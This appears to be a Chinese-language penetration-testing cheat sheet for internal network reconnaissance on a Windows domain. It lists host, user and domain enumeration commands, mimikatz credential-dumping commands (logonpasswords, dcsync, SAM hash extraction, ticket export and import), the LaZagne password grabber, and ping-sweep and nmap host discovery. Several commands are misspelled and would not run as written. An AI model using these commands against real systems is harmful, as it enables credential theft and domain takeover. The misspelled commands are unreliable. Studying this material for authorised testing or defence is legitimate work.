内网信息收集

基础信息收集

收集计算机基本信息判断当前电脑的是在内网扮演什么角色

获取计算机的详细信息

systeminfo #详细信息

查看计算机启动服务

net start #查看启动服务

查看计算机进程列表

tasklist

查看计算机计划任务

schtasks #查看计划任务

网络信息收集

了解当前服务器的网络接口信息，为判断当前角色，功能，网络架构做准备

判断存在域-dns

ipconfig /all #判断存在域-dns

判断是否存在域

net view /domain 判断是否存在域

判断域控

 
net tim /domain #判断域控

查看当前网络开放的端口

netstat -ano #当前网络端口开放

追踪来源地址

nslookup 域名

用户信息收集

了解当前计算机或域环境下的用户及用户组信息，便于后期利用凭据进行测试

系统默认常见用户身份:
Domain Admins:域管理员(默认对域控制器有完全控制权)
Domain Computers:域内机器
Domain Controllers:域控制器
Domain Guest:域访客，权限低
Domain Users:域用户
Enterprise Admins:企业系统管理员用户(默认对域控制器有完全控制权)

相关用户收集操作命令

查看用户权限

whoami /all #用户权限

查看登入信息

#登入信息
net config workstation 

查看本地用户组

net losalgroup #本地用户组

查看本机用户

net user #本机用户

获取域内用户信息

net user /domain #获取域内用户信息

获取域内用户组信息

net group /domain		#获取域内用户组信息

查看域用户详细信息

wmic useraccoubt get /all #涉及域用户详细信息

查询域管理员账户

net group "Domain Admins" /domain #查询域管理员账户

查询域管理员用户组

net group "Enterprise Admins" /domain #查询域管理员用户组

查询域控制器

net group "Domain Controllers" /domain

凭借信息收集

收集各种密文，明文，口令等，为后续横向渗透做好测试准备
计算机用户哈希HASH，明文获取-mimikatz(win) ,mimipenguin(linux)

工具-mimikatz

安装：https://github.com/gentilkiwi/mimikatz
双击运行

privilege::debug  #获取权限

sekurlsa模块

sekurlsa::logonpasswords #抓取登入密码

sekurlsa::msv									#抓取用户NTLM哈希
sekurlsa::minidump lsass.dmp	#加载dmp文件
sekurlsa::logonpasswords full #并导出其中的明文密码

sekurlsa::tickets /export #导出lsass.exe进程中所有的票据

kerberos模块

列出系统中的票据
kerberos::list
kerberos::tgt
 
清除系统中的票据
kerberos::purge
 
导入票据到系统中
kerberos::ptc 票据路径

lsadump模块

在域控上执行)查看域kevin.com内指定用户root的详细信息，包括NTLM哈希等
lsadump::dcsync /domain:kevin.com /user:root
 
(在域控上执行)读取所有域用户的哈希
lsadump::lsa /patch
 
从sam.hive和system.hive文件中获得NTLM Hash
lsadump::sam /sam:sam.hive /system:system.hive
 
从本地SAM文件中读取密码哈希
token::elevate
lsadump::sam

工具-LaZagen
https://github.com/AlessandroZ/LaZagne
一键抓取目标机器上的所有明文密码
工具-XenArmox

探针主机域控架构服务

为后续横向思路做准备，针对应用，协议等各类攻击手法

探针域控制器名及地址信息

net time /domain nslookup ping

探针域内存活主机及地址信息

本机命令探测主机存活

for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.111.%I | findstr "TTL=""

nbtscan-第三方工具

nbtscan 192.168.3.0/24

namp

nmap -sn 192.168.3.0/24 #ping扫描,即主机发现